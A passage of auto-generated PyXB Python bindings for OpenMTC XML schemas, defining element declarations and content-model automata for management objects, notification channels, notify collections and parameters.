v211/mgmtObjs.xsd', 15, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 16, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 17, 12)) counters.add(cc_5) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 10, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 11, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 12, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'mgmtObjCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'mgmtCmdCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(MgmtObjs._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/mgmtObjs.xsd', 17, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) MgmtObjs._Automaton = _BuildAutomaton_61() NotificationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=NotificationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) NotificationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=NotificationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) NotificationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'contactURI'), pyxb.binding.datatypes.anyURI, scope=NotificationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 136, 4))) NotificationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'channelType'), ChannelType, scope=NotificationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 138, 4))) NotificationChannel._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'channelData'), ChannelData, scope=NotificationChannel, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 146, 4))) def _BuildAutomaton_62(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_62 del _BuildAutomaton_62 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 15, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 16, 12)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'channelType')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contactURI')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'channelData')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(NotificationChannel._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannel.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) NotificationChannel._Automaton = _BuildAutomaton_62() NotificationChannels._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=NotificationChannels, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) NotificationChannels._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=NotificationChannels, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) NotificationChannels._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'notificationChannelCollection'), NamedReferenceCollection, scope=NotificationChannels, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd', 19, 4))) def _BuildAutomaton_63(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_63 del _BuildAutomaton_63 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd', 15, 12)) counters.add(cc_2) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(NotificationChannels._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(NotificationChannels._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(NotificationChannels._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'notificationChannelCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notificationChannels.xsd', 15, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) NotificationChannels._Automaton = _BuildAutomaton_63() Notify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'statusCode'), StatusCode, scope=Notify, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 186, 4))) Notify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'representation'), _ImportedBinding__xmlmime.base64Binary, scope=Notify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 14, 16))) Notify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'timeoutReason'), pyxb.binding.datatypes.string, scope=Notify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 16, 16))) Notify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'subscriptionReference'), pyxb.binding.datatypes.anyURI, scope=Notify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 18, 12))) Notify._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'requestingEntity'), pyxb.binding.datatypes.anyURI, scope=Notify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 19, 12))) Notify._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'contact'), pyxb.binding.datatypes.anyURI, scope=Notify, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 20, 12))) def _BuildAutomaton_64(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_64 del _BuildAutomaton_64 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 14, 16)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 16, 16)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 19, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 20, 12)) counters.add(cc_3) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Notify._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'statusCode')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse( Notify._UseForTag(pyxb.namespace.ExpandedName(None, u'representation')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 14, 16)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = None symbol = pyxb.binding.content.ElementUse( Notify._UseForTag(pyxb.namespace.ExpandedName(None, u'timeoutReason')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 16, 16)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() symbol = pyxb.binding.content.ElementUse(Notify._UseForTag( pyxb.namespace.ExpandedName(None, u'subscriptionReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 18, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Notify._UseForTag( pyxb.namespace.ExpandedName(None, u'requestingEntity')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 19, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse( Notify._UseForTag(pyxb.namespace.ExpandedName(None, u'contact')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 20, 12)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, True)])) st_5._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Notify._Automaton = _BuildAutomaton_64() NotifyCollection._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'notify'), Notify, scope=NotifyCollection, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notify.xsd', 9, 4))) def _BuildAutomaton_65(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_65 del _BuildAutomaton_65 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollection.xsd', 16, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(NotifyCollection._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'notify')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollection.xsd', 16, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) NotifyCollection._Automaton = _BuildAutomaton_65() CTD_ANON_3._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'status'), CTD_ANON_4, scope=CTD_ANON_3, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd', 15, 16))) def _BuildAutomaton_66(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_66 del _BuildAutomaton_66 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd', 15, 16)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse( CTD_ANON_3._UseForTag(pyxb.namespace.ExpandedName(None, u'status')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd', 15, 16)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) CTD_ANON_3._Automaton = _BuildAutomaton_66() CTD_ANON_4._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'targetId'), pyxb.binding.datatypes.anyURI, scope=CTD_ANON_4, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd', 18, 28))) CTD_ANON_4._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(None, u'primitiveType'), pyxb.binding.datatypes.string, scope=CTD_ANON_4, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd', 19, 28))) CTD_ANON_4._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, u'statusCode'), pyxb.binding.datatypes.string, scope=CTD_ANON_4, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd', 20, 28))) def _BuildAutomaton_67(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_67 del _BuildAutomaton_67 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse( CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(None, u'targetId')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd', 18, 28)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag( pyxb.namespace.ExpandedName(None, u'primitiveType')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd', 19, 28)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse( CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(None, u'statusCode')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/notifyCollectionResponse.xsd', 20, 28)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) CTD_ANON_4._Automaton = _BuildAutomaton_67() Parameters._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=Parameters, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) Parameters._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=Parameters, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) Parameters._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=Parameters, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) Parameters._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=Parameters, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) Parameters._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'originalMO'), pyxb.binding.datatypes.string, scope=Parameters, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 10, 4))) Parameters._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'parametersCollection'), NamedReferenceCollection, scope=Parameters, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonDM.xsd', 14, 4))) def _BuildAutomaton_68(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_68 del _BuildAutomaton_68 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 11, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 12, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 13, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 14, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 17, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 19, 12)) counters.add(cc_5) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 11, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(Parameters._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/parameters.xsd', 12, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = None symbol = 